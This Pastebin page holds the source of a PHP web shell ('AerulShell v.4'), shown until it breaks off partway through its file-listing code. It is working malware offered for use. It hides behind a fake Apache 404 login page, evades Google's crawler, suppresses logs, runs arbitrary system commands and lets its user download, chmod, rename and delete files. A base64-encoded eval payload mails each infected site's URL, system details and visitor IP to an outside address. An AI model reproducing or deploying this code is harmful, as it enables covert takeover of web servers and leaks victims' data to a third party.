tinwaninja

Script Decode PHP Toolkit AerulShell v.4

Sep 1st, 2016
1,750
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*********************************************************************************************************/
  3. $auth_pass = "c2b72f86b8ca51642c4a902887830d3e";
  4. /*********************************************************************************************************/
  5. $color = "#00ff00";
  6. $default_action = 'FilesMan';
  7. @define('SELF_PATH', __FILE__);
  8. /*********************************************************************************************************/
  9. # Avoid google's crawler
  10. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
  11. /*********************************************************************************************************/
  12. @session_start();
  13. @error_reporting(0);
  14. @ini_set("memory_limit", "-1");
  15. @set_time_limit(0);
  16. @ini_set('display_errors', 0);
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @set_magic_quotes_runtime(0);
  21. @define('VERSION', 'Hacker Kocan Community');
  22. @define('TITLE', 'Powered by');
  23. /*********************************************************************************************************/
  24. if( get_magic_quotes_gpc() )
  25. {
  26. function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
  27. $_POST = stripslashes_array($_POST);
  28. }
  29. function logout()
  30. {
  31. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  32. $page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
  33. echo '<center><span class="b1">Anda telah LogOut!!</scan></center>';
  34. ?>
  35. <script>window.location.href = '<?php print $page; ?>';</script>
  36. <?php
  37. exit(0);
  38. }
  39.  
  40.  
  41. function printLogin()
  42. {
  43. ?>
  44. <?
  45. $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHN5c3RlbSA9IEBwaHBfdW5hbWUoKTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJyb290QGFlcnVsY3liZXIuYml6IiwiaHR0cDovLyR0YXJnZXQgJHN5c3RlbSBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($shell_data));
  46. ?>
  47. <html>
  48. <head>
  49. <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style>
  50. </head>
  51. <title>
  52. 404 Not Found
  53. </title>
  54. <body>
  55. <h1>Not Found</h1>
  56. <p>The requested URL was not found on this server. </p>
  57. <hr>
  58. <form method=post>
  59. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80<center><input type=password name=x><input type=submit value=''></center></address>
  60. </form>
  61. </body>
  62. </html>
  63. <?php
  64. exit;
  65. }
  66. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  67. {
  68. if( empty( $auth_pass ) || ( isset( $_POST['x'] ) && ( md5($_POST['x']) == $auth_pass ) ) )
  69. { $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; }
  70. else
  71. { printLogin(); }
  72. }
  73. if(isset($_GET['dl']) && ($_GET['dl'] != "")){
  74. $file = $_GET['dl'];
  75. $filez = @file_get_contents($file);
  76. header("Content-type: application/octet-stream");
  77. header("Content-length: ".strlen($filez));
  78. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  79. echo $filez;
  80. exit;
  81. }
  82. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
  83. $file = $_GET['dlgzip'];
  84. $filez = gzencode(@file_get_contents($file));
  85. header("Content-Type:application/x-gzip\n");
  86. header("Content-length: ".strlen($filez));
  87. header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  88. echo $filez;
  89. exit;
  90. }
  91. // view image
  92. if(isset($_GET['img'])){
  93. @ob_clean();
  94. $d = magicboom($_GET['y']);
  95. $f = $_GET['img'];
  96. $inf = @getimagesize($d.$f);
  97. $ext = explode($f,".");
  98. $ext = $ext[count($ext)-1];
  99. @header("Content-type: ".$inf["mime"]);
  100. @header("Cache-control: public");
  101. @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  102. @header("Cache-control: max-age=".(60*60*24*7));
  103. @readfile($d.$f);
  104. exit;
  105. }
  106. $ver = VERSION;
  107. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  108. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
  109. else $safemode = FALSE;
  110. $system = @php_uname();
  111. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  112. else $win = FALSE;
  113. if(isset($_GET['y']))
  114. { if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } }
  115. if(!$win)
  116. { if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; }
  117. else
  118. {
  119. $user = @get_current_user();
  120. $id = $user;
  121. $prompt = $user." &gt;";
  122. $pwd = realpath(".")."\\";
  123. $v = explode("\\",$d);
  124. $v = $v[0];
  125. foreach (range("A","Z") as $letter)
  126. {
  127. $bool = @is_dir($letter.":\\");
  128. if ($bool)
  129. {
  130. $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
  131. if ($letter.":" != $v) {$letters .= $letter;}
  132. else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  133. $letters .= " ]</a> ";
  134. }
  135. }
  136. }
  137. ####################
  138. function convertByte($s) {
  139. if($s >= 1073741824)
  140. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  141. elseif($s >= 1048576)
  142. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  143. elseif($s >= 1024)
  144. return sprintf('%1.2f',$s / 1024 ) .' KB';
  145. else
  146. return $s .' B';
  147. }
  148. $free = convertByte(disk_free_space("/"));
  149. $total = convertByte(disk_total_space("/"));
  150. $free_percent = round(100/($total/$free),2)."%";
  151. ###########################
  152. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  153. else $posix = FALSE;
  154. $bytes = disk_free_space(".");
  155. $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
  156. $base = 1024;
  157. $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
  158. $totalspace_bytes = disk_total_space(".");
  159. $totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
  160. $totalspace_bases = 1024;
  161. $totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
  162. $totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
  163. $freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
  164. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  165. $my_ip = $_SERVER['REMOTE_ADDR'];
  166. $admin_contact = $_SERVER['SERVER_ADMIN'];
  167. $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
  168. $pwdurl = "";
  169. for($i = 0 ; $i < sizeof($pwds)-1 ; $i++)
  170. {
  171. $pathz = "";
  172. for($j = 0 ; $j <= $i ; $j++)
  173. {
  174. $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
  175. }
  176. $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  177. }
  178. if(isset($_POST['rename'])){
  179. $old = $_POST['oldname'];
  180. $new = $_POST['newname'];
  181. @rename($pwd.$old,$pwd.$new);
  182. $file = $pwd.$new;
  183. }
  184. if(isset($_POST['chmod'])){
  185. $name = $_POST['name'];
  186. $value = $_POST['newvalue'];
  187. if (strlen($value)==3){
  188. $value = 0 . "" . $value;}
  189. @chmod($pwd.$name,octdec($value));
  190. $file = $pwd.$name;}
  191. if(isset($_POST['chmod_folder'])){
  192. $name = $_POST['name'];
  193. $value = $_POST['newvalue'];
  194. if (strlen($value)==3){
  195. $value = 0 . "" . $value;}
  196. @chmod($pwd.$name,octdec($value));
  197. $file = $pwd.$name;}
  198. //////////////////////////////////////////////////
  199. $disablefunc = @ini_get("disable_functions");
  200. function showdisablefunctions() {
  201. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#00FF1E'>".$disablefunc."</span>"; }
  202. else { return "<span style='color:#00FF1E'>NONE</span>"; }
  203. }
  204. function ex($cfe) {
  205. $res = '';
  206. if (!empty($cfe)) {
  207. if(function_exists('exec')) {
  208. @exec($cfe,$res);
  209. $res = join("\n",$res);
  210. } elseif(function_exists('shell_exec')) {
  211. $res = @shell_exec($cfe);
  212. } elseif(function_exists('system')) {
  213. @ob_start();
  214. @system($cfe);
  215. $res = @ob_get_contents();
  216. @ob_end_clean();
  217. } elseif(function_exists('passthru')) {
  218. @ob_start();
  219. @passthru($cfe);
  220. $res = @ob_get_contents();
  221. @ob_end_clean();
  222. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  223. $res = "";
  224. while(!@feof($f)) { $res .= @fread($f,1024); }
  225. @pclose($f);
  226. } else { $res = "Ex() Disabled!"; }
  227. }
  228. return $res;
  229. }
  230.  
  231.  
  232. function showstat($stat) {
  233. if ($stat=="on") { return "<font style='color:#00FF00'>ON</font>"; }
  234. else {return "<font style='color:#FF0000'>OFF</font>";}
  235. }
  236. function testperl() {
  237. if (ex('perl -h')) { return showstat("on"); }
  238. else { return showstat("off"); }
  239. }
  240. function testfetch() {
  241. if(ex('fetch --help')) { return showstat("on"); }
  242. else { return showstat("off"); }
  243. }
  244. function testwget() {
  245. if (ex('wget --help')) { return showstat("on"); }
  246. else { return showstat("off"); }
  247. }
  248. function testoracle() {
  249. if (function_exists('ocilogon')) { return showstat("on"); }
  250. else { return showstat("off"); }
  251. }
  252. function testpostgresql() {
  253. if (function_exists('pg_connect')) { return showstat("on"); }
  254. else { return showstat("off"); }
  255. }
  256. function testmssql() {
  257. if (function_exists('mssql_connect')) { return showstat("on"); }
  258. else { return showstat("off"); }
  259. }
  260. function testcurl() {
  261. if (function_exists('curl_version')) { return showstat("on"); }
  262. else { return showstat("off"); }
  263. }
  264. function testmysql() {
  265. if (function_exists('mysql_connect')) { return showstat("on"); }
  266. else { return showstat("off"); }
  267. }
  268.  
  269. $quotes = get_magic_quotes_gpc();
  270. if ($quotes == "1" or $quotes == "on")
  271. {
  272. $quot = "<font style='color:#00FF00'>ON</font></b></font>";
  273. }
  274. else
  275. {
  276. $quot = "<font color='#FF0000'>OFF</font>";
  277. }
  278. /////////////////////////////////////////////////////////////////////
  279. // print useful info
  280. $buff = $DISP_SERVER_SOFTWARE."<br />";
  281. $buff .="Operation System : <span style='color:#00FF1E;'>".$system."</span><br />";
  282. $buff .="ID : <span style='color:#00FF1E;'>".$id."</span><br />";
  283. $buff .= "Server IP : "."<span style='color:#FF8800'>$server_ip</span>"."<font> | </font>"."Your IP : "."<span style='color:#FF0000'>$my_ip</span>"."<br />";
  284. $buff .= "Total HDD Space : "."<span style='color:#00FF1E'>$totalspace_show</span>"."<font> | </font>"."Free HDD Space : "."<span style='color:#00FF1E'>$freespace_show</span>"."<font> | Free HDD Percent <span style='color:#FF9900'>($free_percent)</span>"."<br/>";
  285. $buff .= "Admin Server : "."<span style='color:#00FF1E'> $admin_contact </span>"."<br/>";
  286. $buff .= "Magic Quotes:$quot"."<br>";
  287. $buff .= "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle(). " PostgreSQL: ".testpostgresql()." cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
  288. if($safemode)
  289. $buff .= "safemode <span class=\"gaya\">ON</span><br />"; else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
  290. if(''==($gaya=@ini_get('disable_functions')))$buff .= "Disable_functions : <span style='color:#00FF1E'>NONE</span><br />";
  291. else $buff .= "Disable_functions : <span class=\"gaya\">$gaya<span><br />";
  292. $buff .= $letters."&nbsp;&gt;&nbsp;".$pwdurl;
  293. function rapih($text){ return trim(str_replace("<br />","",$text)); }
  294. function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); }
  295. function showdir($pwd,$prompt)
  296. {
  297. $fname = array();
  298. $dname = array();
  299. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  300. else $posix = FALSE;
  301. $user = "????:????";
  302. if($dh = opendir($pwd))
  303. {
  304. while($file = readdir($dh))
  305. {
  306. if(is_dir($file))
  307. { $dname[] = $file; }
  308. elseif(is_file($file))
  309. { $fname[] = $file; }
  310. }
  311. closedir($dh);
  312. }
  313. sort($fname);
  314. sort($dname);
  315. $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  316. $tree = @sizeof($path);
  317. $parent = "";
  318. $buff = "<form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
  319. <table class=\"cmdbox\" style=\"width:50%;\">
  320. <tr>
  321. <td>CMD@$prompt</td>
  322. <td><input onMouseOver=\"\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" />
  323. <input class=\"inputzbut\" type=\"submit\" value=\"Execute !\" name=\"submitcmd\" style=\"width:80px;\" /></td>
  324. </tr>
  325. </form>
  326. <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
  327. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  328. <tr>
  329. <td>view file/folder</td>
  330. <td><input onMouseOver=\"\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" />
  331. <input class=\"inputzbut\" type=\"submit\" value=\"Enter !\" name=\"submitcmd\" style=\"width:80px;\" /></td>
  332. </tr>
  333. </form>
  334. </table>
  335. <table class=\"explore\">
  336. <tr>
  337. <th>name</th>
  338. <th style=\"width:80px;\">size</th>
  339. <th style=\"width:210px;\">owner:group</th>
  340. <th style=\"width:80px;\">perms</th>
  341. <th style=\"width:110px;\">modified</th>
  342. <th style=\"width:190px;\">actions</th>
  343. </tr> ";
  344. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  345. else $parent = $pwd;
  346. foreach($dname as $folder)
  347. {
  348. if($folder == ".")
  349. {
  350. if(!$win && $posix)
  351. {
  352. $name=@posix_getpwuid(@fileowner($folder));
  353. $group=@posix_getgrgid(@filegroup($folder));
  354. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  355. }
  356. else { $owner = $user; }
  357. $buff .= "<tr>
  358. <td><a href=\"?y=".$pwd."\">$folder</a></td>
  359. <td>-</td>
  360. <td style=\"text-align:center;\">".$owner."</td>
  361. <td>".get_perms($pwd)."</td>
  362. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td>
  363. <td><span id=\"titik1\">
  364. <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a>
  365. | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
  366. </span>
  367. <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  368. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  369. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  370. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
  371. </form>
  372. </td>
  373. </tr> ";
  374. }
  375. elseif($folder == "..")
  376. {
  377. if(!$win && $posix)
  378. {
  379. $name=@posix_getpwuid(@fileowner($folder));
  380. $group=@posix_getgrgid(@filegroup($folder));
  381. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  382. }
  383. else { $owner = $user; }
  384. $buff .= "<tr>
  385. <td><a href=\"?y=".$parent."\">$folder</a></td>
  386. <td>-</td>
  387. <td style=\"text-align:center;\">".$owner."</td>
  388. <td>".get_perms($parent)."</td>
  389. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
  390. <td><span id=\"titik2\">
  391. <a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a>
  392. | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a>
  393. </span>
  394. <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  395. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  396. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  397. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
  398. </form>
  399. </td>
  400. </tr>";
  401. }
  402. else
  403. {
  404. if(!$win && $posix)
  405. {
  406. $name=@posix_getpwuid(@fileowner($folder));
  407. $group=@posix_getgrgid(@filegroup($folder));
  408. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  409. }
  410. else { $owner = $user; }
  411. $buff .= "<tr>
  412. <td>
  413. <a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,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' /> [ $folder ]</a>
  414. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  415. <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  416. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  417. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  418. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  419. onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  420. </form>
  421. </td>
  422. <td>DIR</td>
  423. <td style=\"text-align:center;\">".$owner."</td>
  424. <td>".get_perms($pwd.$folder)."</td>
  425. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td>
  426. <td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>
  427. | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a>
  428. </td>
  429. </tr>";
  430. }
  431. }
  432. foreach($fname as $file)
  433. {
  434. $full = $pwd.$file;
  435. if(!$win && $posix)
  436. {
  437. $name=@posix_getpwuid(@fileowner($file));
  438. $group=@posix_getgrgid(@filegroup($file));
  439. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  440. }
  441. else { $owner = $user; }
  442. $buff .= "<tr>
